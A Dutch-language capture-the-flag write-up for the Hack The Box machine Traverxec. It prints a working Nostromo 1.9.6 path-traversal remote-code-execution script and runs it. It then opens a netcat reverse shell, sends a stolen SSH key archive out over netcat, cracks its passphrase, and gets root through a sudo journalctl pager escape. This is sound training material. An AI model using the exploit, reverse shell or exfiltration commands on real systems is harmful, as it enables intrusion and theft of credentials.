HTB-TRAVERXEC-NL

Traverxec, begint met een openbare exploit op de Nostromo-webserver voor de eerste positie. Vervolgens sommen we een directory op die leesbaar is door www-data in de home directory van een David-gebruiker. Daar vinden we een SSH-sleutel. we vinden een server-start.sh in de hoofddirectory van davids en we gebruiken gtfobin’s om root te krijgen.

Zoals altijd beginnen we met een nmap scan.

# Nmap 7.80 scan initiated Mon Jan 6 07:38:53 2020 as: nmap -sC -sV -oA traverxec_nmap 10.10.10.165
Nmap scan report for 10.10.10.165
Host is up (0.031s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 6 07:39:08 2020 -- 1 IP address (1 host up) scanned in 15.62 seconds

We have port 22 and 80 open on Traverxec.

Een Web Shell verkrijgen met Nostromo

Hoewel we kunnen zien dat Nmap Nostromo 1.9.6 uit de headers heeft gehaald, maar ik heb gecontroleerd of er iets op de website staat, hoewel er niets anders was dan een sjabloon voor een gebruiker met de naam David en zijn portfoliowebsite.

Traverxec port 80
Traverxec poort 80

na rond te hebben gekeken, en niets vond. opende ik “Burp” en onderschepte de website en ontdekte dat er een banner en versie van de server waren in de de reactie van de server.

Traverxec Server Header
Traverxec Server HeaderOmdat ik Nostromo 1.9.6 in mijn Nmap-resultaten duidelijk negeerde, was dit een nieuwe bevinding en begon ik te zoeken of er openbare exploits zijn voor deze versie van Nostromo. Ik vond dat dit een directory-transversale RCE exploiteerde. Lees hier meer over het beveiligingslek hier. https://www.sudokaikan.com/2019/10/cve-2019-16278-unauthenticated-remote.html . Dit is het exploit-script dat ik heb gebruikt.https://github.com/puckiestyle/python/blob/master/nostromo196-rce.py
root@kali:~/htb/traverxec# cat nostromo-rce.py 
#!/usr/bin/env python

import socket
import argparse

parser = argparse.ArgumentParser(description='RCE in Nostromo web server through 1.9.6 due to path traversal.')
parser.add_argument('host',help='domain/IP of the Nostromo web server')
parser.add_argument('port',help='port number',type=int)
parser.add_argument('cmd',help='command to execute, default is id',default='/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat /root/root.tx',nargs='?')
args = parser.parse_args()

def recv(s):
	r=''
	try:
		while True:
			t=s.recv(1024)
			if len(t)==0:
				break
			r+=t
	except:
		pass
	return r
def exploit(host,port,cmd):
	s=socket.socket()
	s.settimeout(1)
	s.connect((host,int(port)))
	payload="""POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1""".format(cmd)
	s.send(payload)
	r=recv(s)
	r=r[r.index('\r\n\r\n')+4:]
	print r

exploit(args.host,args.port,args.cmd)

Vervolgens heb ik misbruik gemaakt van dit beveiligingslek en kreeg ik een shell terug

root@kali:~/htb/traverxec# python nostromo196-rce.py 10.10.10.165 80 
Enter your command:id
HTTP/1.1 200 OK
Date: Wed, 08 Jan 2020 08:30:35 GMT
Server: nostromo 1.9.6
Connection: close


uid=33(www-data) gid=33(www-data) groups=33(www-data)

Enter your command:which nc
HTTP/1.1 200 OK
Date: Wed, 08 Jan 2020 08:30:39 GMT
Server: nostromo 1.9.6
Connection: close


/usr/bin/nc

Enter your command:nc -e /bin/sh 10.10.16.70 443
HTTP/1.1 200 OK
Date: Wed, 08 Jan 2020 08:32:09 GMT
Server: nostromo 1.9.6
Connection: close

Enter your command:
Traverxec Shell
root@kali:~/htb/traverxec# rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.165] 38412
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@traverxec:/usr/bin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@traverxec:/usr/bin$

User on Traverxec

Dus ik kwam in Traverxec als www-data en ik runde LinEnum en vond niets. Het eerste wat logisch was, was om in de map van Traverxec te zoeken naar configuratiebestanden om referenties te vinden. Dus ik heb de map / var / nostromo / conf gecontroleerd. Ik vond dit in de uitvoer van LinEnum en dit werd gevonden als leesbare www-data, dus we zullen het bestand nhttpd.conf bekijken.

www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf 
# MAIN [MANDATORY]
servername		traverxec.htb
serverlisten		*
serveradmin		david@traverxec.htb
serverroot		/var/nostromo
servermimes		conf/mimes
docroot			/var/nostromo/htdocs
docindex		index.html
# LOGS [OPTIONAL]
logpid			logs/nhttpd.pid
# SETUID [RECOMMENDED]
user			www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess		.htaccess
htpasswd		/var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons			/var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs		/home
homedirs_public		public_www

toen ik het configuratiebestand las, leek het erop dat er een public_www-directory in a / home is, maar we kunnen de David niet lezen, maar het lijkt erop dat er een public_www in David’s home-directory is.de ssh files aldaar heb ik vervolgens gedownload met netcat

www-data@traverxec:/home/david/public_www/protected-file-area$ ls -la
ls -la
total 16
drwxr-xr-x 2 david david 4096 Oct 25 17:02 .
drwxr-xr-x 3 david david 4096 Oct 25 15:45 ..
-rw-r--r-- 1 david david 45 Oct 25 15:46 .htaccess
-rw-r--r-- 1 david david 1915 Oct 25 17:02 backup-ssh-identity-files.tgz. 
www-data@traverxec:/home/david/public_www/protected-file-area$ nc -w 3 10.10.16.70 1234 < backup-ssh-identity-files.tgz
root@kali:~/htb/traverxec# nc -l -p 1234 > backup-ssh-identity-files.tgz
root@kali:~/htb/traverxec# python2 sshng2john.py id_rsa > id_rsa.encrypted
root@kali:~/htb/traverxec# john id_rsa.encrypted --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter (id_rsa)
Warning: Only 1 candidate left, minimum 2 needed for performance.
1g 0:00:00:13 DONE (2020-01-07 08:28) 0.07621g/s 1093Kp/s 1093Kc/s 1093KC/s *7¡Vamos!
Session completed

Nu loggen we in met Davids SSH-sleutel met wachtwoord :  hunter.

root@kali:~/htb/traverxec# ssh -i id_rsa david@10.10.10.165
Enter passphrase for key 'id_rsa': hunter
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Wed Jan 8 02:45:02 2020 from 10.10.16.70
david@traverxec:~$ ls -la
total 44
drwx--x--x 6 david david 4096 Jan 8 03:38 .
drwxr-xr-x 3 root root 4096 Oct 25 14:32 ..
lrwxrwxrwx 1 root root 9 Oct 25 16:15 .bash_history -> /dev/null
-rw-r--r-- 1 david david 220 Oct 25 14:32 .bash_logout
-rw-r--r-- 1 david david 3526 Oct 25 14:32 .bashrc
drwx------ 2 david david 4096 Jan 8 03:31 bin
-rw------- 1 david david 147 Jan 8 03:38 .lesshst
drwxr-xr-x 3 david david 4096 Jan 7 08:38 .local
-rw-r--r-- 1 david david 807 Oct 25 14:32 .profile
drwxr-xr-x 3 david david 4096 Oct 25 15:45 public_www
drwx------ 2 david david 4096 Jan 8 00:02 .ssh
-r--r----- 1 root david 33 Oct 25 16:14 user.txt
david@traverxec:~$

Root verkrijgen

Het eerste wat me opviel toen ik de gebruiker kreeg bij het escaleren van privileges, is dat er een bin-map in de basismap van David is met een bestand met de naam server-stats.sh. dieper kijken om het script te begrijpen. Ik zag dat / usr / bin / journalctl als root wordt uitgevoerd. dus ging ik naar GTFObin’s https://gtfobins.github.io/gtfobins/journalctl/ vond dit eenvoudig dat commando uitgevoerd zoals gegeven in het script en benutte de minder prompt die wordt geopend als sudo met dit! / bin / bash.

Er is echter een addertje onder het gras, zodat je terminal kleiner wordt of het werkt niet omdat de pager alleen wordt geopend als je terminal kleiner is dan het bestand.

Het script retourneert de laatste 5 regels van de nostromo-servicelogboeken met journalctl. Dit is misbruikbaar omdat journalctl de standaard pager aanroept, die waarschijnlijk less is. Hoe minder commando geeft uitvoer weer op het scherm van de gebruiker en wacht op invoer van de gebruiker zodra de inhoud wordt weergegeven. Deze kan worden misbruikt door een shell-opdracht uit te voeren. /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service Het bovenstaande commando zal less aanroepen, waarna we shell-commando’s kunnen uitvoeren door een voorvoegsel te geven! . Laten we proberen /bin/bash uit te voeren. !/bin/bash

david@traverxec:~/bin$ sudo journalctl -n5 -unostromo.service

david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Fri 2022-05-13 08:47:02 EDT, end at Fri 2022-05-13 10
May 13 08:47:04 traverxec systemd[1]: Starting nostromo nhttpd server.
May 13 08:47:04 traverxec nhttpd[420]: started
May 13 08:47:04 traverxec nhttpd[420]: max. file descriptors = 1040 (c
May 13 08:47:04 traverxec systemd[1]: Started nostromo nhttpd server.
!/bin/bash
root@traverxec:/home/david/bin# cat /root/root.txt 
9aa36a6d76f785dfd320a478f6e0d906
root@traverxec:/home/david/bin#

 

Auteur : Jacco Straathof

 

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *